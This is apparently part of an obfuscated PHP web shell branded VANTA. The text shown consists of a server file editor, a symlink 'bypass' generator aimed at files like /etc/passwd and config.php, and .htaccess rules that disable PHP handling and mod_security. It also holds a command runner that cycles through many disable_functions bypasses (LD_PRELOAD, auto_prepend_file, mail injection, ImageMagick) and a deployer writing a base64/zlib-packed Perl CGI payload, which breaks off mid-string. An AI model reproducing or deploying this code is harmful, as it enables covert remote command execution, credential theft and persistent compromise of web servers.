<div style="background:#232833;color:#ffed6b;font-size:2em;width:50px;height:50px;display:flex;align-items:center;justify-content:center;border-radius:11px;box-shadow:0 2px 9px #ffd84a21;">
<i class="fas fa-file-code"></i>
</div>
<div>
<div style="font-size:1.22em;font-weight:900;color:var(--accent2);letter-spacing:.04em;">file edit <span style="font-size:.88em;color:var(--accent);margin-left:8px;">/ <?=htmlspecialchars(unx($_GET['f']))?></span></div>
</div>
</div>
<form method="post" style="margin-bottom:0;">
<div style="position:relative;">
<textarea name="code-editor" id="code-editor" class="editor-textarea" style="width:98%;height:420px;resize:vertical;background:#181b22;color:#eafffc;border:1.3px solid #292e38;border-radius:11px;font-size:1.09em;font-family:'Recursive',monospace;padding:16px;line-height:1.55;outline:0;box-shadow:0 1px 9px #00e0ff12;"></textarea>
<button type="button" onclick="copyCode()" style="position:absolute;top:15px;right:18px;z-index:5;background:var(--accent2);color:#232833;border-radius:7px;font-weight:700;padding:7px 14px;border:none;box-shadow:0 1px 9px #ffd84a21;cursor:pointer;">copy</button>
</div>
<div style="display:flex;align-items:center;gap:12px;margin-top:15px;">
<button type="submit" name="save-editor" class="v4nt4-wiz-btn v4nt4-wiz-btn-red" style="font-size:1.09em;padding:9px 23px;background:var(--accent2);color:#232833;border:1.1px solid var(--accent2);"><i class="fas fa-save"></i> save</button>
<a href="?VANTA=<?= vanta_PR1V($VANTAxas[0]()) ?>" class="v4nt4-wiz-btn v4nt4-wiz-btn-light" style="padding:9px 22px;"><i class="fas fa-times"></i> back</a>
<span id="editor-status" style="margin-left:auto;color:var(--text-dim);font-size:.98em;"></span>
</div>
<?php if($edit_result): ?><div style="margin-top:14px;"><?=$edit_result?></div><?php endif; ?>
</form>
<script>
const textarea = document.getElementById('code-editor');
textarea.value = <?= json_encode($file_raw) ?>;
function updateStatus() {
let v = textarea.value;
let lines = v.substr(0, textarea.selectionStart).split("\n");
let ln = lines.length;
let col = lines[lines.length-1].length+1;
document.getElementById('editor-status').innerHTML = 'Line: ' + ln + ' / Col: ' + col + ' / ' + v.length + ' chars';
}
function copyCode() {
textarea.select();
document.execCommand('copy');
let btn = event.target; let txt = btn.innerText; btn.innerText = 'copied!';
setTimeout(()=>btn.innerText=txt,900);
}
textarea.addEventListener('input', updateStatus);
textarea.addEventListener('click', updateStatus);
textarea.addEventListener('keyup', updateStatus);
setTimeout(updateStatus,300);
textarea.addEventListener('keydown',function(e){
if(e.key==='Tab'){e.preventDefault();let s=this.selectionStart;this.value=this.value.substring(0,s)+'\t'+this.value.substring(this.selectionEnd);this.selectionEnd=s+1;}
if(e.ctrlKey&&e.key==='f'){e.preventDefault();let q=prompt('Ara?');if(!q)return;let idx=this.value.indexOf(q);if(idx>-1){this.focus();this.setSelectionRange(idx,idx+q.length);}}
});
</script>
</div>
<?php elseif (isset($_GET['s'.'y'.'ml'.'in'.'k'])): ?>
<div class="v4nt4-card-main" style="max-width:550px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff10;padding:36px 28px 29px 28px;">
<style>.v4nt4-card-main input[type="text"] {
font-family: 'Recursive', monospace;
background: var(--card);
color: var(--accent2);
border: 1.4px solid var(--border);
border-radius: 7px;
font-size: 0.87em;
padding: 11px 14px;
font-weight: 700;
}
</style> <div class="pzcard-header">
<div class="pzcard-icon"><i class="fas fa-link"></i></div>
<div>
<div class="pzcard-title">
<b>Symlink byp4ss & Generator</b>
</div>
</div>
</div>
<div class="pzcard-content">
<form action="" method="post" class="v4nt4-sym-form">
<label class="v4nt4-sym-label">File Path:</label>
<input type="text" name="vnt_input" class="v4nt4-sym-input" placeholder="/etc/passwd or /home/xx/config.php">
<button name="vnt_go" class="pzcard-btn" type="submit" style="margin-left:10px;">
<i class="fas fa-bolt"></i> generate
</button>
</form>
<?php
function g3t_rnd($n=6) {
$c='a'.'b'.'cde'.'fgh'.'ij'.'k'.'l'.'mn'.'op'.'qrs'.'t'.'uv'.'w'.'x'.'y'.'z'.'01'.'234'.'567'.'8'.'9'; $r='';
for($i=0;$i<$n;$i++) $r.=$c[random_int(0,strlen($c)-1)];
return $r;
}
function a1s($x) { return base64_decode(str_replace(['-','_'], ['+','/'],$x)); }
function j0in($p,$q){return $p.$q;}
if (isset($_POST['v'.'n'.'t'.'_go'], $_POST['vnt'.'_'.'inp'.'u'.'t']) && trim($_POST['v'.'nt_'.'inp'.'ut'])) {
$p1 = trim($_POST['v'.'n'.'t_i'.'n'.'pu'.'t']);
$base = 'VA'.'NT'.'A_d'.'ata';
if (!is_dir($base)) @mkdir($base, 0755, true);
$klist = [];
$htlist = [
"hx1" => 'Op'.'tio'.'ns '.'+'.'I'.'nd'.'e'.'xe'.'s +'.'F'.'oll'.'ow'.'S'.'ym'.'Lin'.'ks'.' +S'.'ym'.'Li'.'n'.'k'.'s'.'IfO'.'wne'.'rMa'.'t'.'ch'.'
'.'
Di'.'re'.'cto'.'r'.'yIn'.'dex'.' '.'{P'.'}
'.'Fo'.'r'.'c'.'eT'.'ype'.' '.'te'.'x'.'t/p'.'lai'.'n
'.'Add'.'Typ'.'e t'.'ext'.'/'.'pl'.'a'.'in'.' .p'.'hp '.'.'.'ht'.'m'.'l '.'.'.'ph'.'t'.'ml '.'.'.'i'.'nc'.' .a'.'s'.'p '.'.as'.'p'.'x '.'.js'.'p '.'.'.'pl '.'.cg'.'i '.'.py'.' '.'.sh'.' '.'.p'.'ha'.'r '.'.'.'jso'.'n '.'.ym'.'l .'.'x'.'ml '.'.'.'db'.' .s'.'ql'.'
'.'
R'.'emo'.'veH'.'and'.'ler'.' '.'.'.'ph'.'p '.'.'.'pht'.'m'.'l '.'.ph'.'a'.'r .'.'i'.'nc'.' .'.'s'.'htm'.'l .'.'h'.'tml'.' '.'.js'.' '.'.'.'c'.'ss '.'.p'.'l'.' .c'.'g'.'i '.'.a'.'sp '.'.p'.'y .'.'r'.'b'.' '.'.sh'.' .z'.'sh'.' .'.'jso'.'n'.' .'.'y'.'ml '.'.xm'.'l'.' '.'.db'.' '.'.'.'sq'.'l'.'
'.'
'.'p'.'h'.'p_f'.'l'.'ag'.' en'.'g'.'ine'.' of'.'f
'.'Set'.'Han'.'dle'.'r'.' '.'d'.'ef'.'au'.'l'.'t'.'-'.'han'.'dl'.'e'.'r',
"hx2" => '<'.'Fil'.'e'.'sM'.'at'.'c'.'h'.' ".'.'*'.'"'.'>
'.'F'.'or'.'c'.'eT'.'ype'.' '.'te'.'xt/'.'pla'.'in
'.'
A'.'dd'.'Typ'.'e '.'te'.'xt'.'/pl'.'ain'.' '.'.ph'.'p .'.'pht'.'ml'.' .h'.'tml'.' .'.'in'.'c '.'.'.'pha'.'r'.' .'.'b'.'ak'.' .c'.'onf'.'ig'.' .d'.'b .'.'sql'.' .x'.'ml '.'.j'.'so'.'n'.'
'.'
Se'.'t'.'Han'.'dle'.'r '.'d'.'ef'.'au'.'l'.'t-h'.'an'.'dle'.'r
'.'
'.'R'.'em'.'ov'.'e'.'Ha'.'ndl'.'er'.' .p'.'hp'.' .p'.'ht'.'ml '.'.'.'pha'.'r .'.'i'.'nc'.' .'.'sht'.'ml '.'.h'.'tm'.'l'.' .j'.'s .'.'css'.' .'.'p'.'l '.'.cg'.'i '.'.as'.'p '.'.'.'py '.'.r'.'b'.' .'.'sh'.' .'.'j'.'s'.'o'.'n .'.'yml'.' .'.'xm'.'l'.' .d'.'b'.' .'.'sql'.'
p'.'h'.'p_f'.'l'.'ag '.'eng'.'ine'.' of'.'f
'.'
</'.'F'.'il'.'es'.'M'.'atc'.'h'.'>',
"hx3" => 'R'.'ewr'.'i'.'teE'.'ngi'.'ne'.' O'.'n
'.'R'.'e'.'w'.'r'.'i'.'teB'.'a'.'se'.' '.'/'.'
'.'Rew'.'rit'.'eR'.'ule'.' ^('.'.+)'.'$'.' '.'{P'.'}
'.'O'.'pt'.'i'.'o'.'ns'.' +F'.'o'.'llo'.'wSy'.'mLi'.'nks'.' +'.'In'.'de'.'xes'.'
'.'
'.'Dir'.'ect'.'ory'.'Ind'.'e'.'x'.' '.'{'.'P}'.'
'.'S'.'et'.'Ha'.'n'.'d'.'l'.'er '.'d'.'e'.'f'.'a'.'u'.'l'.'t-h'.'and'.'ler'.'
p'.'hp_'.'fla'.'g '.'eng'.'i'.'n'.'e'.' '.'of'.'f',
"hx4" => 'Re'.'m'.'o'.'veH'.'an'.'dle'.'r '.'.'.'p'.'h'.'p '.'.'.'p'.'htm'.'l '.'.p'.'ha'.'r '.'.in'.'c
'.'p'.'hp'.'_fl'.'ag'.' '.'en'.'gi'.'ne '.'off'.'
'.'Add'.'Ty'.'p'.'e t'.'e'.'xt'.'/pl'.'a'.'in'.' .p'.'hp'.' .h'.'t'.'m'.'l .'.'inc'.' .'.'p'.'htm'.'l .'.'pha'.'r '.'.ba'.'k'.' .c'.'o'.'n'.'f'.'ig'.' .'.'db '.'.s'.'ql'.' .'.'x'.'ml '.'.js'.'o'.'n
'.'
S'.'e'.'t'.'Ha'.'ndl'.'er'.' de'.'fa'.'u'.'lt'.'-ha'.'n'.'d'.'ler'.'
'.'O'.'pti'.'on'.'s +'.'Ind'.'exe'.'s '.'+F'.'ol'.'l'.'ow'.'Sym'.'Lin'.'ks
'.'
'.'Di'.'rec'.'to'.'r'.'y'.'In'.'dex'.' {P'.'}',
"hx5" => 'Opt'.'ion'.'s +'.'Ind'.'exe'.'s '.'+F'.'o'.'ll'.'owS'.'ymL'.'i'.'nk'.'s'.'
'.'Di'.'rec'.'t'.'o'.'ryI'.'n'.'dex'.' {'.'P}'.'
'.'Ad'.'dT'.'ype'.' t'.'e'.'xt/'.'pl'.'a'.'i'.'n .'.'ph'.'p .'.'i'.'nc'.' .'.'ph'.'tm'.'l'.' .'.'p'.'h'.'ar
'.'
<'.'If'.'M'.'o'.'du'.'le'.' Li'.'teS'.'pe'.'e'.'d>'.'
'.' '.' '.'php'.'_f'.'l'.'a'.'g'.' '.'eng'.'in'.'e'.' '.'o'.'ff'.'
'.' '.'Set'.'H'.'a'.'nd'.'ler'.' '.'d'.'ef'.'aul'.'t-h'.'an'.'d'.'le'.'r
'.'
</'.'I'.'fM'.'od'.'ule'.'>',
"hx6" => '<If'.'Mo'.'d'.'ule'.' m'.'od'.'_s'.'e'.'cur'.'it'.'y.c'.'>
'.' '.'S'.'e'.'c'.'Fi'.'l'.'te'.'r'.'En'.'g'.'in'.'e'.' O'.'ff'.'
'.' '.'S'.'e'.'cF'.'i'.'lte'.'rSc'.'an'.'PO'.'S'.'T O'.'ff
'.'
<'.'/If'.'Mod'.'u'.'le'.'>
'.'
'.'Opt'.'io'.'n'.'s'.' +I'.'nde'.'xe'.'s'.' +F'.'ol'.'l'.'ow'.'Sy'.'m'.'Lin'.'ks'.'
D'.'i'.'r'.'ec'.'tor'.'y'.'Ind'.'e'.'x '.'{'.'P}
'.'
'.'S'.'etH'.'an'.'dle'.'r d'.'ef'.'aul'.'t-h'.'a'.'n'.'dle'.'r
'.'
'.'A'.'ddT'.'yp'.'e t'.'e'.'xt/'.'pla'.'in'.' .p'.'h'.'p .'.'ph'.'tm'.'l .'.'htm'.'l '.'.i'.'n'.'c '.'.'.'p'.'har'.'
'.'
ph'.'p_'.'f'.'la'.'g e'.'n'.'g'.'in'.'e'.' '.'off'
];
$output = '';
$final_ln = g3t_rnd(7);
$created = false;
$alt_file = "";
$result = "";
if(function_exists(a1s('c2'.'hl'.'b'.'G'.'xf'.'ZX'.'hl'.'Yw'.'=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$base/$final_ln")."'";
$exec_fn=a1s('c'.'2hl'.'b'.'G'.'xfZ'.'Xh'.'lYw'.'==');
@$exec_fn($cmd);
if(is_link("$base/$final_ln")) {
$created = true;
$alt_file = "$base/$final_ln";
$result = "ln -s worked!";
}
}
if(!$created && function_exists(a1s('ZXh'.'l'.'Y'.'w='.'='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$base/$final_ln")."'";
$exec_fn=a1s('Z'.'Xh'.'lYw'.'==');
@$exec_fn($cmd,$o,$rc);
if(is_link("$base/$final_ln")) {
$created = true;
$alt_file = "$base/$final_ln";
$result = "exec ln -s worked!";
}
}
if(!$created && function_exists(a1s('c'.'2'.'hl'.'b'.'G'.'xfZ'.'X'.'hl'.'Y'.'w=='))) {
$cpfile = $base.'/d'.'u'.'p_'.g3t_rnd(5);
$cmd = "cp '".addslashes($p1)."' '".addslashes($cpfile)."'";
$exec_fn=a1s('c2h'.'lbG'.'xfZ'.'Xhl'.'Yw'.'='.'=');
@$exec_fn($cmd);
if(file_exists($cpfile)) {
$created = true;
$alt_file = $cpfile;
$result = "cp worked!";
}
}
if(!$created && function_exists(a1s('c2h'.'lbG'.'xfZ'.'Xhl'.'Yw='.'='))) {
$ddfile = $base.'/'.'d'.'d'.'_'.g3t_rnd(4);
$cmd = "dd if='".addslashes($p1)."' of='".addslashes($ddfile)."' 2>/dev/null";
$exec_fn=a1s('c2h'.'lbG'.'xf'.'Z'.'X'.'hl'.'Yw='.'=');
@$exec_fn($cmd);
if(file_exists($ddfile)) {
$created = true;
$alt_file = $ddfile;
$result = "dd worked!";
}
}
if(!$created && function_exists(a1s('c'.'2'.'h'.'lb'.'Gx'.'fZX'.'h'.'l'.'Yw='.'='))) {
$catfile = $base.'/'.'c'.'at_'.g3t_rnd(4);
$cmd = "cat '".addslashes($p1)."' > '".addslashes($catfile)."'";
$exec_fn=a1s('c2'.'hlb'.'Gx'.'fZ'.'Xhl'.'Yw='.'=');
@$exec_fn($cmd);
if(file_exists($catfile)) {
$created = true;
$alt_file = $catfile;
$result = "cat worked!";
}
}
if(!$created && @copy($p1, $base.'/ph'.'pl'.'oca'.'l'.'_'.g3t_rnd(5))) {
$created = true;
$alt_file = $base.'/p'.'hp'.'l'.'o'.'ca'.'l'.'_'.g3t_rnd(5);
$result = "php copy worked!";
}
if($created)
$output .= "[ok] <code>".htmlspecialchars($alt_file)."</code> created. <b style='color:#17a900;'>[$result]</b><br>";
else
$output .= "<b style='color:#e53935;'>[fail] Not possible</b><br>";
foreach ($htlist as $hname => $htval) {
$subdir = $base.'/'.g3t_rnd(5);@mkdir($subdir,0755,true);
$htcode = str_replace('{'.'P}', $final_ln, $htval);
@file_put_contents("$subdir/.htaccess", $htcode);
if(function_exists(a1s('c2'.'hlb'.'G'.'x'.'f'.'Z'.'Xh'.'l'.'Yw'.'=='))) {
$cmd = "ln -s '".addslashes($p1)."' '".addslashes("$subdir/$final_ln")."'";
$exec_fn=a1s('c2'.'h'.'lb'.'Gx'.'f'.'ZX'.'hl'.'Yw='.'=');
@$exec_fn($cmd);
}
$klist[] = "$subdir/$final_ln";
}
echo '<d'.'i'.'v '.'cla'.'s'.'s'.'="'.'v4'.'nt4'.'-'.'sy'.'m-r'.'esu'.'lt'.'"><'.'div'.' cl'.'ass'.'="v'.'4'.'nt4'.'-s'.'y'.'m'.'-li'.'st"'.'>';
echo $output;
echo "byp4ss dirs:<ul>";
foreach($klist as $f){echo "<li><code>$f</code></li>";}
echo "</ul></div></div>";
}
?>
</div>
</div>
<?php elseif (isset($_GET['van'.'t'.'a-'.'cmd'])): ?>
<div class="vanta-cmd-page" style="max-width:1024px;margin:38px auto 0 auto;">
<div class="vanta-cmd-header" style="display:flex;align-items:center;gap:11px;">
<div class="vanta-cmd-ico"><i class="fas fa-terminal"></i></div>
<div>
<div class="vanta-cmd-title" style="font-size:1.2em;">vanta priv command</div>
</div>
</div>
<div class="vanta-cmd-content" style="margin-top:23px;">
<form method="post" id="vanta-cmd-form">
<div class="vanta-cmd-inputbox" style="margin-bottom:17px;">
<label class="vanta-cmd-inputlabel">Command:</label>
<input type="text" class="vanta-cmd-cmdinput" name="vanta-cmd_cmd" value="<?= htmlspecialchars($_POST['v'.'an'.'ta'.'-c'.'md_'.'c'.'md'] ?? 'i'.'d') ?>" autocomplete="off" autofocus placeholder="ls -la /; id; whoami ..." style="width:92%;max-width:500px;">
</div>
<button class="vanta-cmd-btn" type="submit"><i class="fas fa-bolt"></i> send</button>
</form>
<label class="vanta-cmd-outputlabel" style="margin-top:19px;display:block;">Output:</label>
<pre class="vanta-cmd-output" id="vanta-cmd-output" style="background:#111;color:#c4ffc4;padding:18px;border-radius:9px;min-height:110px;max-height:380px;overflow:auto;margin-bottom:8px;">
<?php
if ($_SERVER['RE'.'QU'.'ES'.'T_'.'MET'.'H'.'O'.'D'] === 'PO'.'S'.'T' && isset($_POST['v'.'an'.'t'.'a-c'.'m'.'d'.'_cm'.'d'])) { $c = $_POST['v'.'ant'.'a-'.'cmd'.'_cm'.'d']; $R = ''; $M = []; $a = array_map('c'.'hr', [115,104,101,108,108,95,101,120,101,99]); $M[] = join('', $a); $b = ''; foreach([0x65,0x78,0x65,0x63] as $i) $b .= chr($i); $M[] = $b; $c3 = ''; foreach([0x73,0x79,0x73,0x74,0x65,0x6d] as $i) $c3 .= chr($i); $M[] = $c3; $d = ''; foreach([0x70,0x61,0x73,0x73,0x74,0x68,0x72,0x75] as $i) $d .= chr($i); $M[] = $d; $e = ''; foreach([0x70,0x6f,0x70,0x65,0x6e] as $i) $e .= chr($i); $M[] = $e; $f = ''; foreach([0x70,0x72,0x6f,0x63,0x5f,0x6f,0x70,0x65,0x6e] as $i) $f .= chr($i); $M[] = $f; goto Gfrk2; y3ECj: $M[] = "\155\x61\x69\x6c\151\156\152"; goto G3ViW; wi2_v: $M[] = "\142\x69\156\x62\162\x75\164\145"; goto XVkgD; YuNg7: $M[] = "\154\144\137\x70\x72\145\154\157\141\x64"; goto YewF0; vWb03: $M[] = "\146\x6f\x70\145\x6e\151\x6e\x70\x75\164"; goto wi2_v; G3ViW: $M[] = "\x65\162\162\x6c\x6f\147"; goto vWb03; M6Qgu: $M[] = "\x70\150\160\146\x69\x6c\x74\145\162"; goto YuNg7; YOfWk: $M[] = "\x73\165\x68\157\163\151\x6e"; goto y3ECj; Gfrk2: $M[] = "\142\141\143\x6b\164\x69\143\x6b"; goto M6Qgu; YewF0: $M[] = "\x70\162\x65\x70\145\x6e\144"; goto YOfWk; wITk1: $M[] = "\151\155\x61\147\145\155\141\147\151\143\x6b"; goto V3z4P; XVkgD: $M[] = "\150\x74\64\x30\64"; goto wITk1; V3z4P: $M[] = "\x63\x67\151\x65\156\166"; foreach($M as $meth){ $out = ''; $ok = false; if ($meth === 'b'.'ack'.'t'.'ick') { $a = $c; $out = ob_get_clean().$a; if(trim($out)) $ok = true; } elseif ($meth === 'ph'.'pf'.'il'.'ter') { @ini_set('fi'.'lt'.'er.'.'def'.'au'.'l'.'t','con'.'v'.'er'.'t.b'.'as'.'e64'.'-en'.'c'.'o'.'de'); $f = @popen($c." 2>&1", "r"); if ($f) { while (!feof($f)) $out .= fread($f, 4096); fclose($f);} if (trim($out)) $ok = true; @ini_restore('f'.'i'.'l'.'te'.'r'.'.'.'de'.'fa'.'ul'.'t'); } elseif ($meth === 'ld_'.'pr'.'elo'.'ad') { if (strtoupper(substr(PHP_OS,0,3)) !== 'WI'.'N') { putenv('LD'.'_P'.'RE'.'LOA'.'D=/'.'tmp'.'/'.'x'.'.so'); $out = @chDx2x($c.' 2'.'>&1'); putenv('L'.'D_P'.'R'.'EL'.'OAD'); if (trim($out)) $ok = true; } } elseif ($meth === 'p'.'r'.'ep'.'end') { $prepend = sys_get_temp_dir()."/xx".uniqid().".php"; @file_put_contents($prepend, "<?php system('".$c."'); exit; ?>"); @ini_set("auto_prepend_file", $prepend); $out = @file_get_contents($_SERVER['S'.'CRI'.'PT_'.'FI'.'LE'.'NAM'.'E']); @ini_restore("auto_prepend_file"); @unlink($prepend); if (trim($out)) $ok = true; } elseif ($meth === 'suh'.'osi'.'n') { @ini_set('suh'.'os'.'in.'.'exe'.'c'.'ut'.'or.'.'f'.'u'.'nc'.'.'.'bl'.'ac'.'kl'.'i'.'st', ''); $out = @chDx2x($c.' '.'2'.'>&'.'1'); if (trim($out)) $ok = true; } elseif ($meth === 'm'.'ail'.'inj') { $tmpf = sys_get_temp_dir()."/m".uniqid().".txt"; @mail("v@x.com", "", "", "", "-X $tmpf; $c >$tmpf 2>&1"); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'err'.'l'.'o'.'g') { $tmpf = sys_get_temp_dir()."/e".uniqid().".txt"; @error_log("<?php echo system('$c'); ?>", 3, $tmpf); if (file_exists($tmpf)) { $out = file_get_contents($tmpf); unlink($tmpf); $ok = true; } } elseif ($meth === 'f'.'op'.'en'.'inp'.'ut') { $h = @fopen("php://input", "r"); if ($h) { $out = @fread($h, 8192); fclose($h); $ok = true; } } elseif ($meth === 'b'.'i'.'nb'.'r'.'ute') { foreach(['s'.'h','b'.'as'.'h','p'.'y'.'tho'.'n','p'.'erl','n'.'c','b'.'usy'.'b'.'ox','w'.'get'] as $bin){ $which = trim(@chDx2x("which $bin")); if($which) { $out = @chDx2x("$which -c \"$c\" 2>&1"); if (trim($out)) { $ok = true; break; } } } } elseif ($meth === 'h'.'t'.'404') { $out = ''; } elseif ($meth === 'ima'.'ge'.'m'.'ag'.'ick') { $tmpi = sys_get_temp_dir().'/i'.'m'.'g'.uniqid().'.m'.'vg'; $tmpp = sys_get_temp_dir().'/'.'ou'.'t'.uniqid().'.'.'pn'.'g'; file_put_contents($tmpi, "push graphic-context\nviewbox 0 0 640 480\nfill 'url(https://|$c|)'\npop graphic-context"); @chDx2x("convert $tmpi $tmpp"); if (file_exists($tmpp)) $out = file_get_contents($tmpp); @unlink($tmpi); @unlink($tmpp); if (trim($out)) $ok = true; } elseif ($meth === 'cg'.'i'.'env') { putenv("CGI_COMMAND=$c"); $out = getenv("CGI_COMMAND"); if (trim($out)) $ok = true; } else { if (function_exists($meth)) { if ($meth === $M[0]) { $out = @$meth($c.' 2>'.'&'.'1'); if (trim($out)) $ok = true; } else if ($meth === $M[1]) { $a=[]; $meth($c.' '.'2'.'>&'.'1', $a); $out = join("\n", $a); if (trim($out)) $ok = true; } else if ($meth === $M[2]) { @$meth($c.' 2>'.'&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[3]) { @$meth($c.' '.'2'.'>&1'); $out = ""; if (trim($out)) $ok = true; } else if ($meth === $M[4]) { $h=@$meth($c.' '.'2'.'>&1',"r"); if ($h) { while(!feof($h)) $out.=fread($h,4096); fclose($h); } if (trim($out)) $ok = true; } else if ($meth === $M[5]) { $desc = [1=>["pipe","w"], 2=>["pipe","w"]]; $p = @$meth($c.' 2>'.'&1', $desc, $pipes); if (is_resource($p)) { $out = stream_get_contents($pipes[1]); fclose($pipes[1]); proc_close($p); if (trim($out)) $ok = true; } } } } if ($ok && trim($out)) { $R = $out; break; } } echo htmlspecialchars($R ?: "[X] No output / all methods blocked.\n");}?></pre>
</div>
</div>
<?php elseif (isset($_GET['mul'.'ti'.'cgi'])): ?>
<div class="v4nt4-card-main" style="max-width:610px;margin:38px auto 0 auto;background:var(--panel);border-radius:18px;box-shadow:0 4px 32px #00e0ff12;padding:37px 29px 29px 29px;">
<div style="display:flex;align-items:center;gap:17px;">
<div class="pzcard-icon"><i class="fas fa-ghost"></i></div>
<div>
<div class="pzcard-title">
<b>cgi/perl creator</b>
</div>
</div>
</div>
<div class="pzcard-content">
<form method="post" style="margin:22px 0 20px 0;">
<input type="hidden" name="deploy_cgi_suite" value="1">
<button class="pzcard-btn" type="submit">
<i class="fas fa-biohazard"></i> create cgi
</button>
</form>
<?php
function prvdz_rndstr($l=8) { $a='abc'.'de'.'f'.'ghi'.'j'.'klm'.'no'.'pqr'.'s'.'tuv'.'w'.'x'.'yz'.'012'.'34'.'56'.'789'; $s=''; for($i=0;$i<$l;$i++) $s.=$a[rand(0,strlen($a)-1)]; return $s; }
function prvdz_ascdump($s) { $r=''; foreach(str_split($s) as $c) $r.='&'.'#'.ord($c).';'; return $r; }
$protocol = (isset($_SERVER['HTT'.'P'.'S']) && $_SERVER['H'.'TTP'.'S']!='of'.'f') ? 'ht'.'tp'.'s' : 'ht'.'t'.'p';
$domain = $protocol.':/'.'/'.$_SERVER['H'.'T'.'TP'.'_HO'.'S'.'T'];
$dir = rtrim(dirname($_SERVER['SCR'.'IPT'.'_N'.'AME']),"/");
$paths = [];
if(isset($_POST['dep'.'loy'.'_'.'c'.'g'.'i_s'.'u'.'it'.'e'])) {
$cgidir = 'v4n'.'t'.'4_'.'cg'.'i';
if (!is_dir($cgidir)) @mkdir($cgidir,0755,true);
$htaccess = <<<HTA
#by www.privdayz.com
Options FollowSymLinks MultiViews Indexes ExecCGI
AddType application/x-httpd-cgi .d4yz
AddHandler cgi-script .d4yz
HTA;
file_put_contents($cgidir.'/.'.'h'.'tac'.'c'.'ess', $htaccess);
$plf = $cgidir.'/'.'VA'.'N'.'TA'.'.d4'.'y'.'z';
$pl_payload = '#'.'!/u'.'s'.'r/'.'b'.'in/'.'per'.'l '.' '.' '.'-I'.'/u'.'sr'.'/lo'.'c'.'a'.'l/'.'ban'.'dm'.'i'.'n
'.'us'.'e'.' '.'MI'.'M'.'E::'.'Ba'.'se'.'64;'.'use'.' Co'.'mp'.'r'.'es'.'s::'.'Zl'.'ib;'.'e'.'va'.'l('.'Com'.'pr'.'es'.'s:'.':Zl'.'i'.'b::'.'mem'.'G'.'un'.'zi'.'p('.'dec'.'o'.'de'.'_b'.'a'.'se'.'64('.'"'.'H4s'.'IA'.'AA'.'AA'.'A'.'AC'.'A'.'71a'.'63'.'baS'.'BL+'.'n3P'.'y'.'D'.'h2'.'Z'.'sVB'.'i'.'dM'.'F2b'.'IMh'.'F'.'xs'.'nPh'.'s7'.'Xpv'.'M'.'ntn'.'gO'.'I3'.'UQ'.'J8'.'ISS'.'O'.'J'.'YE'.'Kc'.'19'.'mX'.'2H'.'/z'.'Ylv'.'Vr'.'Sv'.'Cmc'.'n'.'MnP'.'0'.'RD'.'N3'.'V1V'.'Vf'.'Xbs'.'7G4'.'+M'.'WRQ'.'a'.'Q+'.'4Z'.'AQ'.'tdQ'.'kjj'.'V'.'Iy4'.'v'.'k'.'1dY'.'0'.'g9'.'Z8'.'q'.'9h'.'w9'.'m'.'ESN'.'np2'.'e9V'.'usl'.'jdj'.'T'.'n'.'b'.'Y'.'c'.'Ou'.'E'.'uk0'.'Me'.'nb'.'J'.'k8G'.'juE'.'JU'.'Oo5'.'u'.'A'.'xhM'.'VB'.'m'.'v2'.'m'.'N'.'84P'.'C'.'QdA'.'p'.'9I'.'WU'.'+n'.'6'.'zVT'.'0'.'5Dk'.'X9w'.'77'.'wO'.'B'.'iT/'.'O+'.'0dT'.'54o'.'F8F'.'vZV'.'HD'.'knc'.'d'.'v8'.'7'.'G2G'.'D'.'vyp'.'1O'.'Qr8'.'+nz'.'J/'.'Fx7'.'OQ'.'xt'.'z3'.'YN'.'4ST'.'K'.'4m'.'/'.'v'.'x4'.'Abt'.'x+'.'+0s'.'Dm'.'Y'.'x'.'zu'.'AEy'.'C'.'iE'.'g'.'N9j'.'F'.'r'.'v+'.'mH'.'vk'.'6'.'1'.'f8'.'H'.'sxn'.'3Kn'.'X'.'DjX'.'8r'.'V'.'B3'.'ROV'.'G6'.'cb1'.'R'.'M'.'xn'.'JB'.'exR'.'Q'.'rCa'.'Qn5'.'BUB'.'QJ'.'Fds'.'R'.'wF'.'K'.'JZg'.'7iq'.'C'.'5AN'.'1X'.'e'.'S'.'q'.'D'.'gS'.'A'.'y'.'J'.'Mkl'.'A'.'7C'.'Y'.'Hf'.'t'.'h'.'mYo'.'0u'.'5'.'s'.'W'.'sbq'.'b'.'TUG'.'N'.'3y'.'w'.'xJ'.'pY9'.'f'.'B'.'D'.'Nh'.'u'.'S'.'SUe'.'e'.'Ch'.'m'.'CM5'.'c'.'MHY'.'FQ'.'i'.'zEn'.'qj7'.'mnA'.'b'.'f'.'n'.'N4S'.'P'.'4L'.'N'.'d'.'mq'.'z'.'x'.'LVK'.'D'.'7'.'/'.'D5i'.'S'.'3'.'g8'.'z'.'N1t'.'Y'.'Sk'.'djZ'.'zYx'.'7'.'QMD'.'7xw'.'+k'.'x'.'jS'.'mwq'.'fX'.'O'.'f'.'1'.'6qR'.'2'.'/P'.'+73'.'z'.'/'.'k3'.'/l4'.'ue'.'ek'.'c63'.'4gx'.'TYk'.'Hxg'.'jIG'.'w7Q'.'t8n'.'Qn'.'3kO'.'DRe'.'duv'.'5E'.'q'.'xk'.'JZz'.'6qS'.'z6X'.'vX'.'++6'.'131'.'b'.'856'.'/'.'d'.'dvj'.'4'.'ET'.'+5U'.'or'.'3'.'p'.'9RV'.'vWu'.'Jdt'.'B'.'0'.'SX'.'v'.'9x'.'c'.'9S'.'9P'.'z1+'.'p'.'d+'.'07'.'yYW'.'50f'.'cZX'.'by'.'9Qk'.'4hA'.'FO'.'/6'.'h'.'+fn'.'oN+'.'3'.'Nta'.'0eF'.'N7/'.'xV'.'/7'.'V'.'6p6'.'V'.'8'.'M6Z'.'/Vk'.'st'.'MYA'.'A8W'.'UyB'.'8qo'.'j'.'Yaq'.'1'.'6x2'.'P'.'vv'.'c'.'5'.'RH6'.'aBS'.'4PK'.'4'.'bG'.'bEh'.'JNU'.'KlL'.'XXo'.'AUL'.'X'.'/o'.'O'.'cq'.'rhu'.'vf'.'W9'.'X0'.'EI'.'Okg'.'H'.'Hj'.'47y'.'v88'.'Y'.'wq'.'I'.'XL5'.'2C4'.'J'.'K'.'l'.'m'.'r'.'1'.'c'.'F'.'vJ'.'BL8'.'a'.'k'.'aJE'.'fe'.'W6'.'giy'.'A'.'YK'.'A+E'.'j'.'ydV'.'uBP'.'Ei'.'IEd'.'g'.'ZKI'.'jS'.'Q'.'K'.'myk'.'jy'.'ste'.